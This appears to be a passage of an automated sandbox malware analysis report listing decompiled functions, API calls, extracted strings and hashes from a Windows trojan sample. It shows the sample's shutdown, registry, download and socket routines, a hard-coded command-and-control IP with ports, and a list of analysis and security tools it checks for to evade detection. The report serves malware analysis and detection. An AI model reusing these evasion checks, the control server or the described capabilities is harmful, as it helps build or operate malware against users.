Part of subcall function 03777B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03777BCC
Part of subcall function 03777B70: GetLastError.KERNEL32 ref: 03777BD2
Part of subcall function 03777B70: CloseHandle.KERNEL32(?), ref: 03777BE0

ExitWindowsEx.USER32(00000006,00000000), ref: 0377B44D

Part of subcall function 03777B70: CloseHandle.KERNEL32(?), ref: 03777BFB

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 901c3ef616afa3f28729a67b61c80e08e67d712a93d9d7da0e9eb4db4466cc8e
Instruction ID: db3a6a3a2a73fa220df6629f08090f00262a33086b1c5c36d0eb0b5bee5f046f
Opcode Fuzzy Hash: 901c3ef616afa3f28729a67b61c80e08e67d712a93d9d7da0e9eb4db4466cc8e
Instruction Fuzzy Hash: C5C08C3634020412D618B3B87C2EB7AB340DB88322F00452BE60A8C0D18C5784A145E6

Function 0377B41B Relevance: 1.5, APIs: 1, Instructions: 13shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 03777B70: GetCurrentProcess.KERNEL32(00000028,?), ref: 03777B89
Part of subcall function 03777B70: OpenProcessToken.ADVAPI32(00000000), ref: 03777B90
Part of subcall function 03777B70: LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 03777BB6
Part of subcall function 03777B70: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000010,00000000,00000000), ref: 03777BCC
Part of subcall function 03777B70: GetLastError.KERNEL32 ref: 03777BD2
Part of subcall function 03777B70: CloseHandle.KERNEL32(?), ref: 03777BE0

ExitWindowsEx.USER32(00000004,00000000), ref: 0377B429

Part of subcall function 03777B70: CloseHandle.KERNEL32(?), ref: 03777BFB

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseHandleProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID:
API String ID: 681424410-0
Opcode ID: 8a1a548d52ad7dced3dbdc1d1dc34dbf0d487053550658a129de9495a1c6c1a9
Instruction ID: 9959559b6afb637615263198a474ff23d96fec0ae4d4e33aa2b22a1cf41b9932
Opcode Fuzzy Hash: 8a1a548d52ad7dced3dbdc1d1dc34dbf0d487053550658a129de9495a1c6c1a9
Instruction Fuzzy Hash: 8DC04C3634024416D618B7B97C6EB79B340DB98722F50456BE70A9C0D18C66949545EA

Function 0377B556 Relevance: 43.9, APIs: 8, Strings: 17, Instructions: 161registrysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002,?), ref: 0377B586
RegDeleteValueW.ADVAPI32(?,IpDate), ref: 0377B596
RegSetValueExW.ADVAPI32(?,IpDate,00000000,00000003,00000002,?), ref: 0377B5B3
_memset.LIBCMT ref: 0377B5D4
RegCloseKey.ADVAPI32(?), ref: 0377B61B
_memset.LIBCMT ref: 0377B63C
RegCloseKey.ADVAPI32(?), ref: 0377B72C
Sleep.KERNEL32(000007D0), ref: 0377B737

Part of subcall function 0377F707: std::exception::exception.LIBCMT ref: 0377F756
Part of subcall function 0377F707: std::exception::exception.LIBCMT ref: 0377F770
Part of subcall function 0377F707: __CxxThrowException@8.LIBCMT ref: 0377F781

Strings

o1:, xrefs: 0377B695
19091, xrefs: 0377B690
19093, xrefs: 0377B6FF
t1:, xrefs: 0377B6A7
Console, xrefs: 0377B57C
118.107.44.219, xrefs: 0377B67E
t3:, xrefs: 0377B719
o3:, xrefs: 0377B704
118.107.44.219, xrefs: 0377B6ED
118.107.44.219, xrefs: 0377B6B4
IpDate, xrefs: 0377B590, 0377B5AD
19092, xrefs: 0377B6C9
p2:, xrefs: 0377B6B9
p3:, xrefs: 0377B6F2
t2:, xrefs: 0377B6E0
o2:, xrefs: 0377B6CE
p1:, xrefs: 0377B683

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseValue_memsetstd::exception::exception$DeleteException@8OpenSleepThrow_malloc
String ID: 118.107.44.219$118.107.44.219$118.107.44.219$19091$19092$19093$Console$IpDate$o1:$o2:$o3:$p1:$p2:$p3:$t1:$t2:$t3:
API String ID: 1186799303-3661167401
Opcode ID: 5531413aeae9a851b6756a0bcc75efd462d4d1cf4731d0de38d71324db315eec
Instruction ID: 6ef290c30e1052fdcefdaae42af36c399f37ec2e0efeae7b3810f8deb8436417
Opcode Fuzzy Hash: 5531413aeae9a851b6756a0bcc75efd462d4d1cf4731d0de38d71324db315eec
Instruction Fuzzy Hash: E241D3B57803147FFA11FB10EC4BF6E7358AF45B20F144256FA146E283E6A4A51582EB

Function 03784014 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 0378401C
__mtterm.LIBCMT ref: 03784028

Part of subcall function 03783CF1: DecodePointer.KERNEL32(00000009,03781084,0378106A,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03783D02
Part of subcall function 03783CF1: TlsFree.KERNEL32(00000027,03781084,0378106A,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03783D1C
Part of subcall function 03783CF1: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,03781084,0378106A,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03788D48
Part of subcall function 03783CF1: _free.LIBCMT ref: 03788D4B
Part of subcall function 03783CF1: DeleteCriticalSection.KERNEL32(00000027,?,?,03781084,0378106A,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03788D72

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0378403E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0378404B
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 03784058
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 03784065
TlsAlloc.KERNEL32(?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 037840B5
TlsSetValue.KERNEL32(00000000,?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 037840D0
__init_pointers.LIBCMT ref: 037840DA
EncodePointer.KERNEL32(?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 037840EB
EncodePointer.KERNEL32(?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 037840F8
EncodePointer.KERNEL32(?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03784105
EncodePointer.KERNEL32(?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03784112
DecodePointer.KERNEL32(Function_00013E75,?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03784133
__calloc_crt.LIBCMT ref: 03784148
DecodePointer.KERNEL32(00000000,?,?,03780FC1,03796278,00000008,03781155,?,?,?,03796298,0000000C,03781210,?), ref: 03784162
GetCurrentThreadId.KERNEL32 ref: 03784174

Strings

FlsGetValue, xrefs: 03784040
FlsAlloc, xrefs: 03784038
KERNEL32.DLL, xrefs: 03784017
FlsSetValue, xrefs: 0378404D
FlsFree, xrefs: 0378405A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 272c365a80d22202efe1d95ec99e917c7a2320396913a8c45e4a128dae65db76
Instruction ID: 63724a097524fc1ed377abd9a9bf80667873d0f33ee0690d6326681bdd83ead5
Opcode Fuzzy Hash: 272c365a80d22202efe1d95ec99e917c7a2320396913a8c45e4a128dae65db76
Instruction Fuzzy Hash: 773162B5D80B05AEEB50FF76A80CD197FA4EB85761B148E1BE810C6298EB788045EF41

Function 02C69AC6 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69ACE
__mtterm.LIBCMT ref: 02C69ADA

Part of subcall function 02C697A5: DecodePointer.KERNEL32(00000008,02C676A5,02C6768B,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C697B6
Part of subcall function 02C697A5: TlsFree.KERNEL32(00000025,02C676A5,02C6768B,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C697D0
Part of subcall function 02C697A5: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,02C676A5,02C6768B,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C6C031
Part of subcall function 02C697A5: _free.LIBCMT ref: 02C6C034
Part of subcall function 02C697A5: DeleteCriticalSection.KERNEL32(00000025,?,?,02C676A5,02C6768B,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C6C05B

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 02C69AF0
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 02C69AFD
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 02C69B0A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 02C69B17
TlsAlloc.KERNEL32(?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69B67
TlsSetValue.KERNEL32(00000000,?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69B82
__init_pointers.LIBCMT ref: 02C69B8C
EncodePointer.KERNEL32(?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69B9D
EncodePointer.KERNEL32(?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69BAA
EncodePointer.KERNEL32(?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69BB7
EncodePointer.KERNEL32(?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69BC4
DecodePointer.KERNEL32(Function_00009929,?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69BE5
__calloc_crt.LIBCMT ref: 02C69BFA
DecodePointer.KERNEL32(00000000,?,?,02C675E2,02C77B60,00000008,02C67776,?,?,?,02C77B80,0000000C,02C67831,?), ref: 02C69C14
GetCurrentThreadId.KERNEL32 ref: 02C69C26

Strings

FlsGetValue, xrefs: 02C69AF2
KERNEL32.DLL, xrefs: 02C69AC9
FlsFree, xrefs: 02C69B0C
FlsAlloc, xrefs: 02C69AEA
FlsSetValue, xrefs: 02C69AFF

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: c52037f637509d339aa07cd3ff56188ed7a93583103aa68f38b1787f95d13407
Instruction ID: 200884a282290d32d2f69ed906660bd87c7c755cf3ab0c889d9ce5ebc3502cda
Opcode Fuzzy Hash: c52037f637509d339aa07cd3ff56188ed7a93583103aa68f38b1787f95d13407
Instruction Fuzzy Hash: 1E316231DC0215AFD7606F74AC8C72ABBA5AB85768F540F26D824D3150DB358869EF50

Function 0377C3A0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 170stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377C3C2
_wcsrchr.LIBCMT ref: 0377C3CA
_memset.LIBCMT ref: 0377C401
_wcsrchr.LIBCMT ref: 0377C409
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 0377C416
_memset.LIBCMT ref: 0377C484
wsprintfW.USER32 ref: 0377C49C
_memset.LIBCMT ref: 0377C4B0
_memset.LIBCMT ref: 0377C4CB
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000002), ref: 0377C501
lstrcatW.KERNEL32(?,0379535C), ref: 0377C549
lstrcatW.KERNEL32(?,?), ref: 0377C553
_memset.LIBCMT ref: 0377C56A

Strings

WinSta0\Default, xrefs: 0377C582
"%1, xrefs: 0377C50D
%s\shell\open\command, xrefs: 0377C496
D, xrefs: 0377C576

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _memset$_wcsrchrlstrcat$EnvironmentExpandStringslstrlenwsprintf
String ID: "%1$%s\shell\open\command$D$WinSta0\Default
API String ID: 3970221696-33419044
Opcode ID: 2dbd685e3db53d0386f0b7fce5f946f19ee7d95a85978790614de4e6e1bb0292
Instruction ID: 296d60d030f63cccce03e8a94fdb99f5f2d63bda0e97056e50bbfa5537015526
Opcode Fuzzy Hash: 2dbd685e3db53d0386f0b7fce5f946f19ee7d95a85978790614de4e6e1bb0292
Instruction Fuzzy Hash: 11510BB1A8031D76DF21F760DC49FEE77789F18700F004599EB09AA080EB759688CBA6

Function 03777C80 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 141libraryloaderfileCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wininet.dll), ref: 03777CC3
GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 03777CD7
FreeLibrary.KERNEL32(00000000), ref: 03777CF7
GetProcAddress.KERNEL32(00000000,InternetOpenUrlW), ref: 03777D16
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 03777D53
_memset.LIBCMT ref: 03777D7E
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 03777D8C
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 03777DDB
CloseHandle.KERNEL32(?), ref: 03777DF9
Sleep.KERNEL32(00000001), ref: 03777E01
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 03777E0D
FreeLibrary.KERNEL32(00000000), ref: 03777E28

Strings

wininet.dll, xrefs: 03777CA6
InternetCloseHandle, xrefs: 03777E07
MSIE 6.0, xrefs: 03777CE1
InternetReadFile, xrefs: 03777D86
InternetOpenW, xrefs: 03777CD1
InternetOpenUrlW, xrefs: 03777D10

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: AddressProc$Library$FileFree$CloseCreateHandleLoadSleepWrite_memset
String ID: InternetCloseHandle$InternetOpenUrlW$InternetOpenW$InternetReadFile$MSIE 6.0$wininet.dll
API String ID: 1463273941-1099148085
Opcode ID: 943adeae44317c264f406375dd3755623ce23690f89eb17f11558405b05cc2f3
Instruction ID: 0f18c801868077edeadce18b9aaa344d5d920f2dbe88b94ede3da9cb356a8666
Opcode Fuzzy Hash: 943adeae44317c264f406375dd3755623ce23690f89eb17f11558405b05cc2f3
Instruction Fuzzy Hash: 0E41B971A4022CABDB24EB649C45FEEB3F8FF44700F14C5D9E644A6181DE745A468FD4

Function 03774530 Relevance: 27.2, APIs: 18, Instructions: 247threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0377455A
timeGetTime.WINMM ref: 0377457B
GetCurrentThreadId.KERNEL32 ref: 0377459B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 037745BD
SwitchToThread.KERNEL32 ref: 037745D7
SetEvent.KERNEL32(?), ref: 03774620
CloseHandle.KERNEL32(?), ref: 03774644
send.WS2_32(?,037949C0,00000010,00000000), ref: 03774668
SetEvent.KERNEL32(?), ref: 03774686
InterlockedExchange.KERNEL32(?,00000000), ref: 03774691
WSACloseEvent.WS2_32(?), ref: 0377469F
shutdown.WS2_32(?,00000001), ref: 037746B3
closesocket.WS2_32(?), ref: 037746BD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 037746F6
SetLastError.KERNEL32(000005B4), ref: 0377470A
GetCurrentThreadId.KERNEL32 ref: 0377472B
InterlockedExchange.KERNEL32(?,00000001), ref: 03774743

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: EventExchangeInterlockedThread$CloseCurrentErrorLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 1692523546-0
Opcode ID: 53707ec190d45f1388a87b06851ba7b4a4df0cbf8f6b3fa18f06454e56d1488e
Instruction ID: 68b15f8ce4cd3e0ce3fc29f7ea784f78f45ff918debd4465f8c3b21659cb7d05
Opcode Fuzzy Hash: 53707ec190d45f1388a87b06851ba7b4a4df0cbf8f6b3fa18f06454e56d1488e
Instruction Fuzzy Hash: 7891AC74200716EBCB24EF26D888BAAF7A9FF48705F148629E516CB645C735F891CBD0

Function 0377A6F0 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 254COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377A748
_memset.LIBCMT ref: 0377A788
_memset.LIBCMT ref: 0377A80E
swprintf.LIBCMT ref: 0377A82D

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

_memset.LIBCMT ref: 0377A905
swprintf.LIBCMT ref: 0377A924
_memset.LIBCMT ref: 0377A986
swprintf.LIBCMT ref: 0377A9A5

Strings

onlyloadinmyself, xrefs: 0377A71C
plugmark, xrefs: 0377A75B
%s %s, xrefs: 0377A81C, 0377A890, 0377A913, 0377A994

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: _memset$swprintf$_malloc
String ID: %s %s$onlyloadinmyself$plugmark
API String ID: 1873853019-591889663
Opcode ID: b576ad3f864d768b2298ff5b89c46459b0d70e0ad4e67acc6d9db015cb8cd704
Instruction ID: a7d5a396f52b5e18ed62feda74934973fc3f4dc2353a442cbb77e89af2c5e587
Opcode Fuzzy Hash: b576ad3f864d768b2298ff5b89c46459b0d70e0ad4e67acc6d9db015cb8cd704
Instruction Fuzzy Hash: F98194B5A40300ABFB10EF24DC8AF6B77A4AF45710F194169ED195F383E671E91187E2

Function 03775CC0 Relevance: 24.7, APIs: 2, Strings: 12, Instructions: 164windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 03775CD3

Strings

TCPEye, xrefs: 03775D49
Sniff, xrefs: 03775E49
Fiddler, xrefs: 03775E0F
Metascan, xrefs: 03775DA1
Capsa, xrefs: 03775E37, 03775E5B
Wireshark, xrefs: 03775DB7
ApateDNS, xrefs: 03775D1D
Port, xrefs: 03775D8B
TaskExplorer, xrefs: 03775D5F
Process, xrefs: 03775E6D
CurrPorts, xrefs: 03775D75
Malwarebytes, xrefs: 03775D33

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: VisibleWindow
String ID: ApateDNS$Capsa$CurrPorts$Fiddler$Malwarebytes$Metascan$Port$Process$Sniff$TCPEye$TaskExplorer$Wireshark
API String ID: 1208467747-3439171801
Opcode ID: 06e85be644a968c945f107108c1411a139fa1d78e23dfd32fc153077bed7aa78
Instruction ID: a15e3967690bec76464b64a12cc79372e4fdabf9465e42d2f3bbb6bb088a28b8
Opcode Fuzzy Hash: 06e85be644a968c945f107108c1411a139fa1d78e23dfd32fc153077bed7aa78
Instruction Fuzzy Hash: 784124F6E91B657AEE62F7317D06FAF214C0D235BAF080166EC18EC105F689921941FE

Function 02C64530 Relevance: 24.2, APIs: 16, Instructions: 180threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 02C6455A
timeGetTime.WINMM ref: 02C6457B
GetCurrentThreadId.KERNEL32 ref: 02C6459B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02C645BD
SwitchToThread.KERNEL32 ref: 02C645D7
SetEvent.KERNEL32(?), ref: 02C64620
CloseHandle.KERNEL32(?), ref: 02C64644
send.WS2_32(?,02C77440,00000010,00000000), ref: 02C64668
SetEvent.KERNEL32(?), ref: 02C64686
InterlockedExchange.KERNEL32(?,00000000), ref: 02C64691
WSACloseEvent.WS2_32(?), ref: 02C6469F
shutdown.WS2_32(?,00000001), ref: 02C646B3
closesocket.WS2_32(?), ref: 02C646BD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 02C646F6
SetLastError.KERNEL32(000005B4), ref: 02C6470A
GetCurrentThreadId.KERNEL32 ref: 02C7FA44

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: EventThread$CloseCurrentErrorExchangeInterlockedLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 3448239111-0
Opcode ID: 63e0d30c84d33aba5debb0641fc947cdd55c64083497316c40577f980ced6887
Instruction ID: c06b98738fe6ee3ebef64bd1fb84b385cad3fce75315d6ec88ef6405c69ec9ab
Opcode Fuzzy Hash: 63e0d30c84d33aba5debb0641fc947cdd55c64083497316c40577f980ced6887
Instruction Fuzzy Hash: DF51CE71A40616ABC738DF64D8CCBB9B7A5FF84745F404625E90587A80C770E6A5CBD0

Function 0377DA30 Relevance: 21.3, APIs: 14, Instructions: 254COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,?,?,?,?,?,0377A8C1,?,?), ref: 0377DA43
SetLastError.KERNEL32(000000C1,?,?,?,?,?,?,0377A8C1,?,?), ref: 0377DA62

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 57346d074488df0db12a513d2844d98e0779bb7040f5d58b2f47b92d9912f510
Instruction ID: 6798e6fbfe37bdf6b75ccc3334f3d73b641c29afd45d09d055bdd23145c680cd
Opcode Fuzzy Hash: 57346d074488df0db12a513d2844d98e0779bb7040f5d58b2f47b92d9912f510
Instruction Fuzzy Hash: 2881D271701205AFDB30EFA9D884B6AB7E4FF48315F194669E909DB641E771E801CBD0

Function 0377C5E0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 164registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0377C63D
_memset.LIBCMT ref: 0377C64C
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,00000000), ref: 0377C66F

Part of subcall function 0377C81E: RegCloseKey.ADVAPI32(80000000,0377C7FA), ref: 0377C82B
Part of subcall function 0377C81E: RegCloseKey.ADVAPI32(00000000), ref: 0377C834

Strings

%08X, xrefs: 0377C7D5

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Close_memset$Open
String ID: %08X
API String ID: 4292648718-3773563069
Opcode ID: da8256d84bdb814bfae18285a6e5158c2fc4f13ed0cd789c674d3174476ba024
Instruction ID: fe29fa791662726fc4e01757f8325b8a73529e4b63d672701c1434292aa4003e
Opcode Fuzzy Hash: da8256d84bdb814bfae18285a6e5158c2fc4f13ed0cd789c674d3174476ba024
Instruction Fuzzy Hash: FC5133F2A40219BBDB25EF50DC85FEA7778EB48704F40469DF705AA180DB74AB44CB94

Function 037736F0 Relevance: 21.1, APIs: 14, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 03773710
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 03773749
setsockopt.WS2_32(?,0000FFFF,000000FB,?,00000004), ref: 03773766
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 03773779
WSACreateEvent.WS2_32 ref: 0377377B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,037A1F0C), ref: 0377378D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,037A1F0C), ref: 03773799
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,037A1F0C), ref: 037737B8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,037A1F0C), ref: 037737C4
gethostbyname.WS2_32(00000000), ref: 037737D2
htons.WS2_32(?), ref: 037737F8
WSAEventSelect.WS2_32(?,?,00000030), ref: 03773816
connect.WS2_32(?,?,00000010), ref: 0377382B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,037A1F0C), ref: 0377383A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

